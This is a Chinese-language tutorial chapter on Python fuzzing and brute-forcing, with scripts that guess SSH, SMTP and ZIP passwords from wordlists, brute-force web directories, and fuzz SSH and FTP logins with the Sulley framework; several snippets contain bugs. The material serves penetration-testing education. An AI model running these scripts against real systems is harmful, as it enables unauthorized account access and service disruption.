Python 模糊测试和暴力破解详解

安全测试人员可以拥有的最有用的工具之一是测试应用程序参数的模糊工具。模糊技术在发现安全漏洞方面非常有效,因为它可以通过扫描应用程序攻击面来发现弱点。Fuzzer 可以测试应用程序的目录遍历、命令执行、SQL 注入和跨站点脚本漏洞。

最好的模糊器是高度可定制的,因此在本章中,我们将学习如何构建我们自己的模糊器,用于特定的应用程序。

本章涵盖的主题如下:

通常,模糊化过程包括以下阶段:

  • 识别目标:对于模糊化应用程序,我们必须识别目标应用程序。例如,具有特定 IP 并在端口 21 上运行的 FTP 服务器。
  • 识别输入:如我们所知,该漏洞的存在是因为目标应用程序接受格式错误的输入,并在未进行清理的情况下对其进行处理。因此,我们必须识别应用程序接受的输入。例如,在 FTP 服务器中输入用户名和密码。
  • 创建模糊数据:获取所有输入参数后,我们必须创建无效的输入数据发送到目标应用程序。模糊数据通常被称为有效载荷。
  • 模糊化:在创建模糊数据后,我们必须将其发送到目标应用程序。
  • 监控异常和日志:现在我们必须观察目标应用程序是否有有趣的响应和崩溃,并保存这些数据以供手动分析。监视 web 应用程序模糊有点不同,因为模糊可能不会使目标应用程序崩溃。我们必须依赖错误消息和响应;确保记录下任何此类意外响应,以便手动分析。有时,应用程序可能会在错误消息中显示内部构建块。
  • 确定可利用性:模糊化后,我们必须检查有趣的响应或导致崩溃的输入。这可能有助于利用目标应用程序。并非所有崩溃都可能导致可利用漏洞。

基于目标、使用的攻击向量和模糊方法,存在许多模糊分类。模糊目标包括文件格式、网络协议、命令行参数、环境变量、web 应用程序和许多其他。模糊可以根据生成测试用例的方式进行广泛分类。它们是变异模糊(dump)和生成模糊(intelligent)。

突变(转储)模糊器

创建完全随机输入的模糊器称为变异或转储模糊器。这种类型的模糊器盲目地改变现有的输入值。但它缺乏可理解的数据格式或结构。例如,它可以替换或附加一个随机数据片到所需的输入。

新一代(智能)模糊器

生成模糊器从头开始创建输入,而不是改变现有输入。因此,它需要一定程度的智能才能生成至少对目标应用程序有意义的输入。

与变异模糊器不同,这种类型的模糊器将理解文件格式、协议等。此外,这种类型的模糊器很难创建,但效率更高。

密码可以通过猜测或尝试用各种可能的单词和字母组合登录来破解。如果密码很复杂,包含数字、字符和特殊字符,则可能需要数小时、数周或数月的时间。

使用所有可能的密码进行测试时,首先使用可能被用作密码的单词,如姓名和地点。这个方法和我们注射的方法一样。

我们可以从字典文件中读取密码,并在应用程序中进行如下尝试:

with open('password-dictionary.txt') as f: 
    for password in f: 
        try: 
                # Use the password to try login 

                print "[+] Password Found: %s" % password 
                break; 
        except : 
                print "[!] Password Incorrect: %s" % password 

在这里,我们阅读dictionary文件并尝试脚本中的每个密码。当特定密码生效时,它将在控制台中打印它。

提示

您可以在此处下载 fuzz 数据库的完整列表:https://github.com/fuzzdb-project/fuzzdb

我们可以使用 Python 脚本自动执行暴力攻击来破坏 SSH 登录。在这里,我们尝试使用多个用户名和密码,以使用自动 Python 脚本绕过 SSH 身份验证。对于强制 SSH,我们必须使用名为paramiko的模块,它允许我们连接到 SSH。

首先,我们导入所需的模块:

import paramiko, sys, os, socket  
import itertools,string,crypt  

然后初始化静态变量,如密码大小、目标 IP、目标端口和用户:

PASS_SIZE = 5 
IP = "127.0.0.1" 
USER = "root" 
PORT=22 

var = itertools.combinations(string.digits,PASS_SIZE) 

检查每个密码:

try: 
    for i in var: 
        passwd = ''.join(i) 

        ssh_client = paramiko.SSHClient() 
        ssh_client.load_system_host_keys() 
           ssh_clienth.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 
        try: 
            ssh.connect(IP , port=PORT, username=USER, password=passwd) 
            print "Password Found= "+passwd 
            break 
        except paramiko.AuthenticationException, error: 
            print "Faild Attempt: "+passwd 
            continue 
        except socket.error, error: 
            print error 
            continue 
        except paramiko.SSHException, error: 
            print error 
            continue 
        except Exception, error: 
            print "Unknown error: "+error 
            continue     
        ssh.close() 

except Exception,error : 
    print error  

我们可以使用线程模块使此脚本成为多线程:

import paramiko, sys, os, socket, threading, time  
import itertools,string,crypt 

PASS_SIZE = 5 

def bruteforce_list(charset, maxlength): 
    return (''.join(candidate) 
        for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) 
        for i in range(1, maxlength + 1))) 

def attempt(Password): 

    IP = "127.0.0.1" 
    USER = "rejah" 
    PORT=22 

    try: 

        ssh = paramiko.SSHClient() 
        ssh.load_system_host_keys() 
        ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 

        try: 
            ssh.connect(IP , port=PORT, username=USER, password=Password) 
            print "Connected successfully. Password = "+Password 
        except paramiko.AuthenticationException, error: 
            print "Incorrect password: "+Password 
            pass 
        except socket.error, error: 
            print error 
            pass 
        except paramiko.SSHException, error: 
            print error 
            print "Most probably this is caused by a missing host key" 
            pass 
        except Exception, error: 
            print "Unknown error: "+error 
            pass     
        ssh.close() 

    except Exception,error : 
        print error 

letters_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQSTUVWXYZ1234567890!@#$&()'  

在这里,我们使用线程使模糊并行运行,以提高速度:

for i in bruteforce_list(letters_list, PASS_SIZE): 
    t = threading.Thread(target=attempt, args=(i)) 
    t.start() 
    time.sleep(0.3) 

sys.exit(0) 

简单邮件传输协议SMTP)是跨网络传输电子邮件的标准。电子邮件服务器和其他邮件传输代理使用 SMTP 发送和接收电子邮件。电子邮件客户端应用程序通常只使用 SMTP 发送电子邮件。要对 SMTP 执行暴力密码审核,我们可以使用smtplib模块,它帮助我们连接到 SMTP。

像往常一样,导入所需的模块:

import sys, smtplib, socket 
from smtplib import SMTP 

设置IPUSER。您还可以将这些值作为输入参数:

IP = "127.0.0.1" 
USER = "admin"  

使用密码列表中的每个密码检查 SMTP:

attackNumber = 1 
with open('passwordlist.txt') as f: 
    for PASSWORD in f: 
         try: 
               print "-"*12 
               print "User:",USER,"Password:",PASSWORD 
               smtp = smtplib.SMTP(IP) 
               smtp.login(user, value) 
               print "\t\nLogin successful:",user, value 
               smtp.quit() 
               work.join() 
               sys.exit(2) 
         except(socket.gaierror, socket.error, socket.herror,
         smtplib.SMTPException), msg:  
               print "An error occurred:", msg 

我们可以编写一个定制的爬行脚本来爬网目标网站,以发现有关 web 应用程序的足够信息。但是,通常会有大量配置文件、遗留开发文件、备份文件、调试脚本和许多其他文件,这些文件可以提供有关 web 应用程序的敏感信息,或公开应用程序开发人员不打算公开的某些功能。

发现此类内容的方法是使用暴力强制来跟踪常见的文件名和目录。拥有我们自己的定制脚本总是非常好的,它将帮助我们定制目标文件并根据我们的需求过滤结果。

首先,像往常一样,我们导入所需的模块。这里我们使用线程来并行运行多个请求。但一定要保持低线;大量线程可能导致拒绝服务:

import urllib 
import urllib2 
import threading 
import Queue 

threads           = 50     # Be aware that a large number of threads can cause a denial of service!!! 
target_url        = "http://www.example.com" 
wordlist_file     = "directory-list.txt"  
user_agent        = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 

现在,我们定义一个函数来读取单词列表文件,并形成一个单词数组来使用暴力:

def wordlist(wordlist_file): 

    wordlist_file = open(wordlist_file,"rb") 
    raw_words = wordlist_file.readlines() 
    wordlist_file.close() 

    words        = Queue.Queue() 

    # iterating each word in the word file 
    for word in raw_words:       

        word = word.rstrip() 
        words.put(word) 

    return words  

接下来,我们将定义一个函数,使用单词列表中单词的可能扩展名来强制 URL,这将检查文件扩展名的单词,如果不是文件,我们将附加一个额外的斜杠(/),并为每个单词创建一个尝试列表,其中包含可能的扩展名和目录斜杠。创建尝试列表后,请检查附加到所提供 URL 的尝试列表中的每个条目:

def dir_bruteforce(extensions=None): 

    while not word_queue.empty(): 
        attempt = word_queue.get() 

        attempt_list = [] 

        # check for a file extension, if not it's a directory 
        if "." not in attempt: 
            attempt_list.append("/%s/" % attempt) 
        else: 
            attempt_list.append("/%s" % attempt) 

        # if we want to bruteforce extensions 
        if extensions: 
            for extension in extensions: 
                attempt_list.append("/%s%s" % (attempt,extension)) 

        # iterate with list of attempts         
        for brute in attempt_list: 

            url = "%s%s" % (target_url,urllib.quote(brute)) 

            try: 
                headers = {} 
                headers["User-Agent"] = user_agent 
                r = urllib2.Request(url,headers=headers) 

                response = urllib2.urlopen(r) 

                if len(response.read()): 
                    print "[%d] => %s" % (response.code,url) 

            except urllib2.HTTPError,e: 
               # print output If error code is not 404 
                if e.code != 404: 
                    print "!!! %d => %s" % (e.code,url) 

                pass 

word_queue = wordlist(wordlist_file) 
extensions = [".php",".bak",".orig",".inc"]  

然后我们在线程模式下启动蛮力:

for i in range(threads): 
            t = threading.Thread(target=dir_bruteforce,args=(extensions,)) 
            t.start() 

正如我们所讨论的,同样的方法也可用于破解受保护 ZIP 文件中的密码。为此,我们使用zipfile模块:

import zipfile 

filename = 'test.zip' 
dictionary = 'passwordlist.txt' 

password = None 
file_to_open = zipfile.ZipFile(filename) 
with open(dictionary, 'r') as f: 
   for line in f.readlines(): 
         password = line.strip('\n') 
         try: 
               file_to_open.extractall(pwd=password) 
               password = 'Password found: %s' % password 
               print password 
         except: 
               pass 

苏利模糊框架

通过使用模糊框架,我们可以在更短的时间内创建模糊程序。fuzzing 框架提供了一个灵活且可重用的开发环境,有助于快速构建 Fuzzer。

Sulley 是一个 Python 模糊测试框架,由多个可扩展组件组成,可用于模糊文件格式、网络协议、命令行参数等。Sulley 可以监控网络并系统地维护记录。它还可以监视目标的运行状况。

安装

Sulley 依靠 PaiMei 和 pcapy。PaiMei 是一个反向工程框架,用于调试模糊应用程序和pcap捕获数据包。

PaiMei 有很多依赖项,比如提供 Python 数据库 API 的 MySQL 数据库服务器、wxPython、GraphViz、Oreas GDE、uDraw、pydot 和 ctypes。因此,我们必须首先安装这些依赖项。

在 Debian Linux 中,我们可以从apt-get存储库安装 pydot、ctypes、wxPython 和 GraphViz:

$ apt-get instal
l python-ctypeslib python-pydot python-wxgtk2.8 python-mysqldb python-pygraphviz

然后我们可以从下载 PaiMeihttp://www.openrce.org/downloads/details/208

解压缩 zip 文件后,运行_install_requirements.py文件以安装其需求。之后,安装 MySql 服务器,如果它未安装在主机中:

 $ apt-get install mysql-server

然后,使用__setup_mysql.py文件配置 MySQL 服务器。为此,请使用 MySQL 服务器凭据作为参数运行以下 Python 脚本:

 $ python __setup_mysql.py hostname username password

然后通过运行安装脚本安装 PaiMei,就像我们对其他 Python 模块所做的那样:

$ python setup.py build
$ python setup.py install

我们还需要安装pcapy库。要安装pcapy库,我们可以依赖apt-get存储库:

 $ apt-get install python-pcapy python-impacket

现在我们已经安装了所有的先决条件。因此,我们可以克隆sulley库并利用它:

 $ git clone https://github.com/OpenRCE/sulley.git

然后,进入sulley文件夹:

 $ cd sulley

要验证安装,请使用 Python 运行process_monitor.py脚本和network_monitor.py

$ sudo python process_monitor.py

结果如下:

Installation

$ python network_monitor.py

结果如下:

Installation

要在 Windows 和 Linux 上安装,请先安装必备软件。

要安装 PaiMei,请像在 Linux 上一样从链接下载 PaiMei 并运行__install_requirements.py

 $ python __install_requirements.py

这将安装 PaiMei 的依赖项(ctypes、pydot、wxPython、MySQLdb、Graphviz、Oreas GDE 和 uDraw)。

然后,运行 MySQL 安装程序script.python __setup_mysql.py主机名用户名密码。

之后,通过运行 build 和 install 命令安装 PaiMei 库:

$ python setup.py build
$ python setup.py install

然后我们必须下载并安装libdasm。从下载 http://libdasm.googlecode.com/files/libdasm-beta.zip 并运行安装程序。

然后,从pip安装pcapy

 $ pip install pcapy

现在,克隆sulley库:

 $ git clone https://github.com/OpenRCE/sulley.git

我们可以通过运行process_monitor_unix.pynetwork_monitor.py来检查安装情况。

提示

安装有什么问题吗?以下是 Windows 的详细安装说明:https://github.com/OpenRCE/sulley/wiki/Windows-Installation

与 sulley 一起编写脚本

在开始使用 sulley 编写模糊脚本之前,我们需要对 sulley 中使用的语法有一个基本的了解。当我们编写使用 sulley 模糊特定目标的 Python 脚本时,我们需要定义所有必需的对象。所有 sulley 命令都以s_前缀开头。以下是将用于构建脚本的几个部分:

  • 数据模型:定义我们将要模糊化的协议的属性。
  • 状态模型:定义模糊网络协议不同状态之间可能的交互。例如,已验证和未验证状态。
  • 目标:定义要模糊的目标。例如,服务器的 IP 和端口。
  • 代理:监控模糊进程崩溃、拦截相关网络数据包、重启崩溃进程等的程序。这在目标计算机上运行。
  • 监控界面:帮助查看模糊处理的结果。

原语

要创建一个静态的非变异值,我们可以使用s_static()

要创建一个四字节字,我们可以使用s_int()。例如,要创建一个以555开头并以 ASCII 格式格式化的突变整数:

s_int("555", format="ascii", fuzzable=True) 

块和组

基本体可以嵌套在块中。这些块可以以s_block_start()开始,以s_block_end()结束。组是原语的集合;我们可以用s_group()组成一个小组。列出各种 HTTP 方法的静态组原语示例如下:

s_group("methods", values=["GET", "HEAD", "POST", "TRACE"])   

分组允许我们将块附加到组原语,以指定块应通过所有可能的方式循环。我们可以使用如下所示的块来迭代这些静态 HTTP 方法。这定义了一个名为"body"的新块,并将其与前面的组关联:

if s_block_start(“body”, group=”method”)
 s_delim("/")
 s_string("index.html")
 s_delim(" ")
s_block_end()

会议

我们可以将多个请求连接在一起,形成一个会话。Sulley 能够通过将请求链接到图形中,在协议中模糊化深度。Sulley 遍历了图形结构,从根节点开始,一路上模糊每个组件。

现在我们可以编写一个脚本来模糊 SSH 连接。

首先,导入模块sulleyparamiko。确保脚本位于我们从 GitHub 下载的 sulley 程序的根目录中:

from sulley import * 
import sulley.primitives 
import paramiko 

然后,将用户名和密码设置为字符串原语。Sulley 提供了表示这些字段的s_string()原语,以表示包含的数据是可模糊的字符串。字符串可以是任何内容,如电子邮件地址、主机名、用户名、密码等:

user = primitives.string("user") 
pwd = primitives.string("password") 

然后,初始化 paramiko SSH 客户端以尝试连接到 SSH:

client = paramiko.SSHClient() 
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

接下来我们可以开始模糊化:

while(user.mutate() and pwd.mutate()): 
   username = user.value 
   password = pwd.value 
   try: 
         # Try to connect to the server with the mutated credentials 
         client.connect("192.168.1.107", 22, username, password, timeout=5) 
         client.close() 
   except Exception,e: 
         print "error! %s" % e 

这将尝试更改用户名和密码,并尝试使用 paramiko 连接到服务器。

同样,我们可以模糊 FTP 协议。这里,我们从 requests 和 sulley 导入 FTP:

from sulley import * 
from requests import ftp 

现在,我们指示 sulley 在开始模糊之前等待横幅:

def recv_banner(sock): 
   sock.recv(1024) 

然后,我们初始化会话,它跟踪我们的模糊化。这允许我们停止并重新开始之前停止的模糊处理:

sess = sessions.session("ftp_test.session") 

现在,我们可以使用目标 FTP 服务器的 IP 和端口号定义目标:

target = sessions.target("192.168.1.107",21) 

然后我们可以指示网络嗅探器在同一台主机上设置自己,并在26300上监听:

target.netmon = pedrpc.client("192.168.1.107",26300)  

现在,设置目标并抓取 FTP 横幅:

sess.add_target(target) 
sess.pre_send(recv_banner) 

尝试验证 FTP 连接:

sess.connect(s_get("user")) 
sess.connect(s_get("user"),s_get("pass")) 

验证后,我们可以使用需要验证的命令,如下所示:

sess.connect(s_get("pass"),s_get("cwd")) 
sess.connect(s_get("pass"),s_get("mkd")) 
sess.connect(s_get("pass"),s_get("rmd")) 
sess.connect(s_get("pass"),s_get("list")) 
sess.connect(s_get("pass"),s_get("delete")) 
sess.connect(s_get("pass"),s_get("port"))  

最后,指示 sulley 启动fuzz

sess.fuzz()  

提示

您可以在此处了解有关 sulley 及其用法的更多信息:http://www.fuzzing.org/wp-content/SulleyManual.pdf

我们已经学习了模糊和密码强制的基本方法。现在我们可以扩展脚本以满足我们自己的需要。有许多模糊和暴力工具可用,但定制脚本总是更好地获得我们的特定结果。在下一章中,我们将详细讨论如何使用 Python 库进行调试和反向工程。

教程来源于Github,感谢apachecn大佬的无私奉献,致敬!

技术教程推荐

Android开发高手课 -〔张绍文〕

面试现场 -〔白海飞〕

Elasticsearch核心技术与实战 -〔阮一鸣〕

网络编程实战 -〔盛延敏〕

手把手带你写一门编程语言 -〔宫文学〕

自动化测试高手课 -〔柳胜〕

快速上手C++数据结构与算法 -〔王健伟〕

大型Android系统重构实战 -〔黄俊彬〕

Python实战 · 从0到1搭建直播视频平台 -〔Barry〕